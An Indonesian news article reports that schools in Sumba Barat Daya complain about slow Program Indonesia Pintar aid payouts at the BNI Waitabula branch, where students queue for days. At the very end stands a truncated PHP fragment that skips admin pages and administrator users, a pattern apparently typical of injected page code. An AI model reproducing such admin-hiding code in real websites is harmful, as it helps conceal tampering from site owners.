Pendidikan

Sejumlah Sekolah Keluhkan Penyaluran PIP oleh BNI KCP Waitabula yang Dinilai Lamban

×

Sejumlah Sekolah Keluhkan Penyaluran PIP oleh BNI KCP Waitabula yang Dinilai Lamban

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Jelang pertengahan Februari 2026, penyaluran dana Program Indonesia Pintar (PIP) untuk siswa SLA di Kabupaten Sumba Barat Daya belum tuntas.

Kondisi ini dikeluhkan sejumlah pimpinan sekolah lanjutan atas yang menyebut layanan BNI Kantor Cabang Pembantu (KCP) Waitabula lamban tanpa solusi.

Salah satu keluhan dilontarkan Kepala SMA Marapati, Drs Rafael Djapa Ole beberapa waktu lalu.

Kepala SMA Marapati, Drs Rafael Djapa Ole. ( Foto Menara Sumba )

“Jujur aktivitas siswa-siswi jadi terganggu karena saban hari harus antre di bank,” ujarnya.

Ia meminta pihak BNI KCP Waitabula agar memikirkan terobosan yang bisa mengurai lambatnya proses penyaluran PIP untuk siswa-siswi.

Rafael menyayangkan bantuan PIP tahun anggaran 2025 harus molor dalam proses pencairan hingga tahun 2026.

“Kita harus pikirkan bersama solusi terbaik agar semua bisa lancar,” pintanya lagi.

Hal senada diutarakan Kepala SMK Pancasila Tambolaka, Aleks Rangga Pija, SH, M.Pd.

“Dengan kondisi ini bank mesti cari alternatif terbaik agar siswa-siswi tidak tersita waktu hanya untuk urus PIP,” anjur Aleks.

Dirinya mengajak semua pihak untuk memikirkan nasib anak bangsa penerima PIP agar tidak dikorbankan urusan belajarnya di sekolah.

Pantauan media ini, hingga Jumat (06/02/2026) masih terlihat aktivitas siswa baik dari SMA maupun SMK yang antre di BNI KCP Waitabula.

Aldi, siswa SMKN 2 Wewewa Barat mengaku sudah antre sejak beberapa hari dan baru dilayani pukul 15.00 WITA hari itu.

Sejumlah siswa-siswi lain masih menanti giliran hingga sore hari.

Pimpinan BNI Tak Bisa Ditemui

Sayangnya upaya sejumlah awak media untuk mengkonfirmasi pimpinan BNI KCP Waitabula belum berbuah hasil.

Saat hendak ditemui Jumat (06/02/2026) pagi itu pimpinan KCP salah satu bank pelat merah ini sedang keluar.

“Ibu lagi ke lapangan untuk pemeriksaan rutin,” jelas sekuriti bank.

Rencana bertemu siang harinya juga tidak terpenuhi meski pimpinan BNI KCP Waitabula sudah berada di kantor.

Salah satu siswa SMKN 2 Wewewa Barat yang baru bisa mencairkan bantuan PIP pada Jumat (06/02/2026) kemarin. ( Foto Menara Sumba )

Niat wawancara yang disampaikan lewat salah satu staf bank tidak dilayani.

“Maaf, Ibu sedang istirahat,” ujar staf ini menyampaikan pesan pimpinannya.

118 Murid SMKN 2 Wewewa Barat Belum Terlayani

Sementara itu, murid penerima PIP di SMKN 2 Wewewa Barat yang belum terlayani masih berjumlah 118 orang.

Penjelasan ini disampaikan Kepala SMKN 2 Wewewa Barat, Yosias Malo, S.Pd saat dikonfirmasi , Sabtu (07/02/2026).

Ia menyebut, penerima bantuan PIP tahun 2025 di sekolah itu berjumlah 321 orang.

“Sudah pencairan tahun 2025 sebanyak 153 murid kelas 12 yang tamat tahun 2025 dan beberapa kelas 11,” terangnya.

Sedangkan yang masih dalam proses pencairan berjumlah 167 orang termasuk yang sudah pencairan 2 gelombang kemarin yaitu 49 orang.

Saat ini, katanya lebih lanjut, yang masih dalam proses rekomendasi pencairan tersisa 118 orang.

“Semoga minggu depan bisa selesai semua,” harap Yosias. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>